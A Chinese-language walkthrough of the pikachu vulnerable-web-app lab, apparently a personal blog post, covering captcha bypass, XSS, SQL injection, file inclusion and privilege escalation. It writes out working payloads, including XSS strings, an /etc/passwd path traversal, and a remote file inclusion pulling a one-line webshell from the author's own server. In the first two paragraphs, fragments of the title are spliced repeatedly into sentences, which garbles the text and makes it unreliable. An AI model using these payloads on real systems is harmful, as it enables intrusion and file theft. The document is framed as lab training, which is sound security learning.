pikachu靶场通关教程

pikachu靶场里那个“暴力破解”模块，第一关我就卡了半小时。场通程不是关教不会用Burp，是场通程没想到它的验证码居然能重复使用——刷新页面后验证码没变，抓包一看，关教还是场通程上一轮那个数字。这玩意儿要放真实环境里，关教早就被薅秃了。场通程所以别把它当正经靶场，关教它更像是场通程个漏洞“标本集”，每一关都故意留了最典型的关教缺陷让你踩。

环境搭建没什么好说的场通程，Docker一条命令拉起来，关教或者直接扔进phpstudy。场通程我习惯用Docker，干净。但注意端口别冲突，默认80映射到宿主机改成8080，不然后面开Burp代理容易乱。进去之后先点一遍左侧菜单，别急着做题，把每个模块的名字记一下：暴力破解、跨站脚本、SQL注入、文件包含、CSRF、越权……总共十来个大类。每个大类下面还有子关卡，比如XSS分反射型、存储型、DOM型，SQL注入分数字型、字符型、搜索型。心里有个地图，后面找漏洞才不会迷路。

暴力破解：验证码是个摆设

第一关“基于表单的暴力破解”没啥好说的，直接Intruder跑字典。但第二关“验证码绕过（on server）”就有点意思了。页面有验证码，你输错一次它变一次。可如果你用Burp抓包，把验证码字段删掉再重放呢？服务器居然不校验空验证码。更离谱的是第三关“验证码绕过（on client）”，验证码的生成逻辑全写在JS里，你禁用JavaScript，验证码直接消失。我当时的表情就是：啊？这都行？

通关技巧：第一关用Burp的Sniper模式，加载常见密码字典，看返回长度差异。第二关删掉vcode参数。第三关直接关JS，或者抓包把vcode改成固定值。别想复杂了，靶场没做任何风控。

XSS：弹窗只是开始

反射型XSS最简单，输入<script>alert(1)</script>就弹。但存储型XSS在留言板那关，我提交了同样的payload，刷新页面居然没弹。后来发现它把script标签过滤了，但没过滤img标签的onerror。换成<img src=x onerror=alert(1)>，成功。DOM型XSS更隐蔽，它不经过服务器，直接在前端用innerHTML写入。你需要在URL的#后面构造payload，比如#<img src=x onerror=alert(1)>。这关我调试了二十分钟，因为浏览器对#后面的内容编码方式不一样。

SQL注入：手工比工具快

数字型注入直接id=1 or 1=1，字符型要闭合引号，搜索型用%通配符。但pikachu里有个“盲注”关卡，页面不回显数据，只返回“存在”或“不存在”。这时候sqlmap反而慢，手工用length(database())逐位猜更快。我写了个小脚本，跑一遍也就两分钟。具体思路：先猜库名长度，再猜字符，用二分法。别嫌麻烦，这关就是练手感的。

还有个“宽字节注入”的关卡，需要把%df%27拼进去，利用GBK编码吃掉反斜杠。这个知识点在真实代码审计里偶尔能碰到，但概率极低。靶场里过一遍就行，别钻牛角尖。

文件包含与越权：逻辑漏洞更致命

文件包含分本地和远程。本地包含那关，你点“点击查看”会传一个filename参数。改成../../../../etc/passwd，直接读系统文件。远程包含需要allow_url_include=On，默认是关的，你得去php.ini里改。改完用?filename=http://你的vps/shell.txt，里面写个一句话木马。这关我建议在虚拟机里做，别拿真实服务器试。

越权那关更简单，登录普通用户后，抓包改id=1看管理员信息。或者直接改username参数。pikachu没做任何权限校验，纯靠前端隐藏按钮。这种漏洞在十年前的企业站里一抓一大把，现在少了，但逻辑越权依然常见。

最后说点实在的

pikachu靶场通关不难，难的是理解每个漏洞的成因。我见过有人用sqlmap一路扫过去，通关了但问他原理说不清。那没意义。每关做完，去翻一下源码，看看它为什么这么写。比如XSS那关，源码里用的是echo $_GET['message'];，没做任何转义。你改一下，加上htmlspecialchars，再打一遍，打不穿了。这才是收获。

别追求“全通关”的虚荣。挑几个你工作中可能遇到的漏洞类型，反复练。SQL注入和XSS是基本功，文件上传和CSRF也得会。剩下的，知道有这回事就行。靶场是死的，人是活的。